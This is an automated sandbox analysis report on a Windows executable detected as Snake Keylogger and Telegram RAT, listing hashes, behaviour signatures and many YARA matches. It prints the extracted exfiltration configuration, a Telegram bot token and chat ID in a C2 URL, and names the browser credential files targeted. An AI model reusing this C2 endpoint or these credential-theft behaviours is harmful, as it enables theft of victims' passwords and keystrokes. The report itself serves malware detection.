Edit tour

Windows Analysis Report
0OZQi3b0tM.exe

Overview

General Information

Sample Name:	0OZQi3b0tM.exe
Analysis ID:	652382
MD5:	a90c091abded4a4f763de7537f569167
SHA1:	9394b05c2d518ee5d75fb030f2dca6d15c44bf0a
SHA256:	653b29296dcc50bfb59898d3ba38748b1c484701079ccc85f45bd2c0e4ecbe3e
Tags:	exeSnakeKeylogger
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

Malicious sample detected (through community Yara rule)

Yara detected Telegram RAT

Antivirus / Scanner detection for submitted sample

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal ftp login credentials

.NET source code references suspicious native API functions

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

May check the online IP address of the machine

Yara detected Generic Downloader

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Detected potential crypto function

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

0OZQi3b0tM.exe (PID: 7100 cmdline: "C:\Users\user\Desktop\0OZQi3b0tM.exe" MD5: A90C091ABDED4A4F763DE7537F569167)

cleanup

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Telegram Token": "5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c", "Telegram ID": "1856108848"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendMessage"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
0OZQi3b0tM.exe	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b1aa:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a393:$a3: \Google\Chrome\User Data\Default\Login Data 0x1a7da:$a4: \Orbitum\User Data\Default\Login Data 0x1b95b:$a5: \Kometa\User Data\Default\Login Data
0OZQi3b0tM.exe	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0OZQi3b0tM.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0OZQi3b0tM.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0OZQi3b0tM.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0OZQi3b0tM.exe	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14879:$s1: UnHook 0x14880:$s2: SetHook 0x14888:$s3: CallNextHook 0x14895:$s4: _hook
0OZQi3b0tM.exe	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1889c:$x1: $%SMTPDV$ 0x1755e:$x2: $#TheHashHere%& 0x18844:$x3: %FTPDV$ 0x17540:$x4: $%TelegramDv$ 0x14ef8:$x5: KeyLoggerEventArgs 0x1528e:$x5: KeyLoggerEventArgs 0x188c8:$m1: \| Snake Keylogger 0x1896e:$m1: \| Snake Keylogger 0x18ac2:$m1: \| Snake Keylogger 0x18be8:$m1: \| Snake Keylogger 0x18d42:$m1: \| Snake Keylogger 0x18868:$m2: Clipboard Logs ID 0x18a78:$m2: Screenshot Logs ID 0x18b8c:$m2: keystroke Logs ID 0x18d78:$m3: SnakePW 0x18a50:$m4: \SnakeKeylogger\
Click to see the 2 entries

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xb0db3:$m1: \| Snake Keylogger 0x118431:$m1: \| Snake Keylogger 0x118ec8:$m1: \| Snake Keylogger 0x11995d:$m1: \| Snake Keylogger 0x11a3f2:$m1: \| Snake Keylogger 0x11ae87:$m1: \| Snake Keylogger 0x11b91c:$m1: \| Snake Keylogger 0x11c3b3:$m1: \| Snake Keylogger 0x11ce48:$m1: \| Snake Keylogger 0x11d8dd:$m1: \| Snake Keylogger 0x11e372:$m1: \| Snake Keylogger 0x11ee07:$m1: \| Snake Keylogger 0x11f89c:$m1: \| Snake Keylogger 0x120331:$m1: \| Snake Keylogger 0x120dc6:$m1: \| Snake Keylogger 0x12185b:$m1: \| Snake Keylogger 0x1222f0:$m1: \| Snake Keylogger 0x122d85:$m1: \| Snake Keylogger 0x12381a:$m1: \| Snake Keylogger 0x1242af:$m1: \| Snake Keylogger 0x124d44:$m1: \| Snake Keylogger

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.738443207.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xd9d:$m1: \| Snake Keylogger 0xcd3:$m3: SnakePW
00000000.00000002.737543287.0000000002958000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x6c5:$m1: \| Snake Keylogger 0x5fb:$m3: SnakePW
00000000.00000002.738278860.0000000002ABD000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xbdd:$m1: \| Snake Keylogger 0xb13:$m3: SnakePW
00000000.00000002.737582921.000000000296C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x7dd:$m1: \| Snake Keylogger 0x713:$m3: SnakePW
00000000.00000002.738464278.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xdd5:$m1: \| Snake Keylogger 0xd0b:$m3: SnakePW
00000000.00000002.737477229.0000000002944000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5ad:$m1: \| Snake Keylogger 0x4e3:$m3: SnakePW
00000000.00000002.737233949.00000000028C7000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe17:$m1: \| Snake Keylogger 0xd4b:$m3: SnakePW
00000000.00000002.737426073.000000000292C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x45d:$m1: \| Snake Keylogger 0x393:$m3: SnakePW
00000000.00000002.737400500.000000000291C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x37d:$m1: \| Snake Keylogger 0x2b3:$m3: SnakePW
00000000.00000002.737877910.0000000002A31000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x435:$m1: \| Snake Keylogger 0x36b:$m3: SnakePW
00000000.00000002.737872155.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x3ff:$m1: \| Snake Keylogger 0x333:$m3: SnakePW
00000000.00000002.738102517.0000000002A85000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x8cf:$m1: \| Snake Keylogger 0x803:$m3: SnakePW
00000000.00000002.737894796.0000000002A3D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x4dd:$m1: \| Snake Keylogger 0x413:$m3: SnakePW
00000000.00000002.737177065.0000000002898000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x581:$m1: \| Snake Keylogger 0x4b7:$m3: SnakePW
00000000.00000002.737163773.0000000002894000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x549:$m1: \| Snake Keylogger 0x47f:$m3: SnakePW
00000000.00000002.738298999.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xc15:$m1: \| Snake Keylogger 0xb4b:$m3: SnakePW
00000000.00000002.737551923.000000000295C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x6ff:$m1: \| Snake Keylogger 0x633:$m3: SnakePW
00000000.00000002.737275091.00000000028E3000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xf9d:$m1: \| Snake Keylogger 0xed3:$m3: SnakePW
00000000.00000002.737205564.00000000028B7000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xd35:$m1: \| Snake Keylogger 0xc6b:$m3: SnakePW
00000000.00000002.737680246.0000000002990000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x9d5:$m1: \| Snake Keylogger 0x90b:$m3: SnakePW
00000000.00000002.737438859.0000000002934000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x4cd:$m1: \| Snake Keylogger 0x403:$m3: SnakePW
00000000.00000002.737240182.00000000028CB000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe4f:$m1: \| Snake Keylogger 0xd83:$m3: SnakePW
00000000.00000002.738349545.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xcbd:$m1: \| Snake Keylogger 0xbf3:$m3: SnakePW
00000000.00000002.738520206.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe45:$m1: \| Snake Keylogger 0xd7b:$m3: SnakePW
00000000.00000002.737615006.000000000297C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x8bd:$m1: \| Snake Keylogger 0x7f3:$m3: SnakePW
00000000.00000002.738206086.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xac5:$m1: \| Snake Keylogger 0x9fb:$m3: SnakePW
00000000.00000002.737694580.0000000002998000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xa45:$m1: \| Snake Keylogger 0x97b:$m3: SnakePW
00000000.00000002.738046605.0000000002A75000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x7ed:$m1: \| Snake Keylogger 0x723:$m3: SnakePW
00000000.00000002.737534636.0000000002954000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x68d:$m1: \| Snake Keylogger 0x5c3:$m3: SnakePW
00000000.00000002.738084741.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x895:$m1: \| Snake Keylogger 0x7cb:$m3: SnakePW
00000000.00000002.738331335.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xc85:$m1: \| Snake Keylogger 0xbbb:$m3: SnakePW
00000000.00000002.737246038.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe85:$m1: \| Snake Keylogger 0xdbb:$m3: SnakePW
00000000.00000002.737258885.00000000028D7000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xef5:$m1: \| Snake Keylogger 0xe2b:$m3: SnakePW
00000000.00000002.737950672.0000000002A51000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5f5:$m1: \| Snake Keylogger 0x52b:$m3: SnakePW
00000000.00000002.738536747.0000000002AED000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xebc:$m1: \| Snake Keylogger 0x1e2e:$m3: SnakePW
00000000.00000002.737218317.00000000028BF000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xda5:$m1: \| Snake Keylogger 0xcdb:$m3: SnakePW
00000000.00000002.737983761.0000000002A61000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x6d5:$m1: \| Snake Keylogger 0x60b:$m3: SnakePW
00000000.00000002.737998771.0000000002A65000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x70d:$m1: \| Snake Keylogger 0x643:$m3: SnakePW
00000000.00000002.737291941.00000000028EF000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1045:$m1: \| Snake Keylogger 0xf7b:$m3: SnakePW
00000000.00000002.737504124.0000000002948000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5e5:$m1: \| Snake Keylogger 0x51b:$m3: SnakePW
00000000.00000002.737901412.0000000002A41000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x515:$m1: \| Snake Keylogger 0x44b:$m3: SnakePW
00000000.00000002.737883433.0000000002A35000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x46d:$m1: \| Snake Keylogger 0x3a3:$m3: SnakePW
00000000.00000002.737944111.0000000002A4D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5bd:$m1: \| Snake Keylogger 0x4f3:$m3: SnakePW
00000000.00000002.738244012.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xb35:$m1: \| Snake Keylogger 0xa6b:$m3: SnakePW
00000000.00000002.737409041.0000000002920000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x3b5:$m1: \| Snake Keylogger 0x2eb:$m3: SnakePW
00000000.00000002.738141181.0000000002A95000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x9ad:$m1: \| Snake Keylogger 0x8e3:$m3: SnakePW
00000000.00000002.737889019.0000000002A39000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x4a5:$m1: \| Snake Keylogger 0x3db:$m3: SnakePW
00000000.00000002.737855627.00000000029FC000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x115d:$m1: \| Snake Keylogger 0x1093:$m3: SnakePW
00000000.00000002.737285680.00000000028EB000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x100f:$m1: \| Snake Keylogger 0xf43:$m3: SnakePW
00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1869c:$x1: $%SMTPDV$ 0x1735e:$x2: $#TheHashHere%& 0x18644:$x3: %FTPDV$ 0x17340:$x4: $%TelegramDv$ 0x14cf8:$x5: KeyLoggerEventArgs 0x1508e:$x5: KeyLoggerEventArgs 0x186c8:$m1: \| Snake Keylogger 0x1876e:$m1: \| Snake Keylogger 0x188c2:$m1: \| Snake Keylogger 0x189e8:$m1: \| Snake Keylogger 0x18b42:$m1: \| Snake Keylogger 0x18668:$m2: Clipboard Logs ID 0x18878:$m2: Screenshot Logs ID 0x1898c:$m2: keystroke Logs ID 0x18b78:$m3: SnakePW 0x18850:$m4: \SnakeKeylogger\
00000000.00000002.738079094.0000000002A7D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x85d:$m1: \| Snake Keylogger 0x793:$m3: SnakePW
00000000.00000002.738039601.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x7b5:$m1: \| Snake Keylogger 0x6eb:$m3: SnakePW
00000000.00000002.738059775.0000000002A79000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x825:$m1: \| Snake Keylogger 0x75b:$m3: SnakePW
00000000.00000002.738194827.0000000002AA5000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xa8d:$m1: \| Snake Keylogger 0x9c3:$m3: SnakePW
00000000.00000002.737190839.00000000028A7000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xccfd:$m1: \| Snake Keylogger 0xcc33:$m3: SnakePW
00000000.00000002.737592635.0000000002970000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x815:$m1: \| Snake Keylogger 0x74b:$m3: SnakePW
00000000.00000002.738181191.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xa55:$m1: \| Snake Keylogger 0x98b:$m3: SnakePW
00000000.00000002.737144637.000000000288C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x4d9:$m1: \| Snake Keylogger 0x40f:$m3: SnakePW
00000000.00000002.737978655.0000000002A5D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x69d:$m1: \| Snake Keylogger 0x5d3:$m3: SnakePW
00000000.00000002.737655258.0000000002988000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x965:$m1: \| Snake Keylogger 0x89b:$m3: SnakePW
00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1869c:$x1: $%SMTPDV$ 0x1735e:$x2: $#TheHashHere%& 0x18644:$x3: %FTPDV$ 0x17340:$x4: $%TelegramDv$ 0x14cf8:$x5: KeyLoggerEventArgs 0x1508e:$x5: KeyLoggerEventArgs 0x186c8:$m1: \| Snake Keylogger 0x1876e:$m1: \| Snake Keylogger 0x188c2:$m1: \| Snake Keylogger 0x189e8:$m1: \| Snake Keylogger 0x18b42:$m1: \| Snake Keylogger 0x18668:$m2: Clipboard Logs ID 0x18878:$m2: Screenshot Logs ID 0x1898c:$m2: keystroke Logs ID 0x18b78:$m3: SnakePW 0x18850:$m4: \SnakeKeylogger\
00000000.00000002.737628909.0000000002980000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x8f7:$m1: \| Snake Keylogger 0x82b:$m3: SnakePW
00000000.00000002.737833563.00000000029F4000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x10ed:$m1: \| Snake Keylogger 0x1023:$m3: SnakePW
00000000.00000002.737414593.0000000002924000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x3ed:$m1: \| Snake Keylogger 0x323:$m3: SnakePW
00000000.00000002.737929824.0000000002A45000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x54f:$m1: \| Snake Keylogger 0x483:$m3: SnakePW
00000000.00000002.737560330.0000000002960000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x737:$m1: \| Snake Keylogger 0x66b:$m3: SnakePW
00000000.00000002.737825477.00000000029F0000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x10b5:$m1: \| Snake Keylogger 0xfeb:$m3: SnakePW
00000000.00000002.738023885.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x77d:$m1: \| Snake Keylogger 0x6b3:$m3: SnakePW
00000000.00000002.738485397.0000000002AE5000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe0d:$m1: \| Snake Keylogger 0xd43:$m3: SnakePW
00000000.00000002.737575208.0000000002968000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x7a5:$m1: \| Snake Keylogger 0x6db:$m3: SnakePW
00000000.00000002.737808101.00000000029E4000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x907d:$m1: \| Snake Keylogger 0x8fb3:$m3: SnakePW
00000000.00000002.737431755.0000000002930000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x495:$m1: \| Snake Keylogger 0x3cb:$m3: SnakePW
00000000.00000002.737466902.0000000002940000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x575:$m1: \| Snake Keylogger 0x4ab:$m3: SnakePW
00000000.00000002.737280426.00000000028E7000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xfd5:$m1: \| Snake Keylogger 0xf0b:$m3: SnakePW
00000000.00000002.737670833.000000000298C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x99d:$m1: \| Snake Keylogger 0x8d3:$m3: SnakePW
00000000.00000002.737689328.0000000002994000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xa0d:$m1: \| Snake Keylogger 0x943:$m3: SnakePW
00000000.00000002.737225304.00000000028C3000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xddd:$m1: \| Snake Keylogger 0xd13:$m3: SnakePW
00000000.00000002.737609149.0000000002978000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x887:$m1: \| Snake Keylogger 0x7bb:$m3: SnakePW
00000000.00000002.737936851.0000000002A49000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x587:$m1: \| Snake Keylogger 0x4bb:$m3: SnakePW
00000000.00000002.737641884.0000000002984000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x92d:$m1: \| Snake Keylogger 0x863:$m3: SnakePW
00000000.00000002.738147230.0000000002A99000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x9e5:$m1: \| Snake Keylogger 0x91b:$m3: SnakePW
00000000.00000002.738223259.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xb00:$m1: \| Snake Keylogger 0xa33:$m3: SnakePW
00000000.00000002.738314614.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xc4d:$m1: \| Snake Keylogger 0xb83:$m3: SnakePW
00000000.00000002.737450837.0000000002938000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x505:$m1: \| Snake Keylogger 0x43b:$m3: SnakePW
00000000.00000002.737597795.0000000002974000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x84f:$m1: \| Snake Keylogger 0x783:$m3: SnakePW
00000000.00000002.738125525.0000000002A8D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x93d:$m1: \| Snake Keylogger 0x873:$m3: SnakePW
00000000.00000002.738160524.0000000002A9D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xa1d:$m1: \| Snake Keylogger 0x953:$m3: SnakePW
00000000.00000002.738425558.0000000002AD9000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xd67:$m1: \| Snake Keylogger 0xc9b:$m3: SnakePW
00000000.00000002.738406461.0000000002AD5000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xd2d:$m1: \| Snake Keylogger 0xc63:$m3: SnakePW
00000000.00000002.738262050.0000000002AB5000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xb6d:$m1: \| Snake Keylogger 0xaa3:$m3: SnakePW
00000000.00000002.737864301.0000000002A00000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1195:$m1: \| Snake Keylogger 0x10cb:$m3: SnakePW
00000000.00000002.737968200.0000000002A55000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x62d:$m1: \| Snake Keylogger 0x563:$m3: SnakePW
00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xc7a4:$x1: $%SMTPDV$ 0xc65c:$x3: %FTPDV$ 0xc7ea:$m1: \| Snake Keylogger 0xc94a:$m1: \| Snake Keylogger 0xcb28:$m1: \| Snake Keylogger 0xd594:$m1: \| Snake Keylogger 0xc98c:$m3: SnakePW
00000000.00000002.737263659.00000000028DB000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xf2d:$m1: \| Snake Keylogger 0xe63:$m3: SnakePW
00000000.00000002.737253851.00000000028D3000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xebd:$m1: \| Snake Keylogger 0xdf3:$m3: SnakePW
00000000.00000002.738109588.0000000002A89000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x907:$m1: \| Snake Keylogger 0x83b:$m3: SnakePW
00000000.00000002.737973247.0000000002A59000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x665:$m1: \| Snake Keylogger 0x59b:$m3: SnakePW
00000000.00000002.737457876.000000000293C000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x53d:$m1: \| Snake Keylogger 0x473:$m3: SnakePW
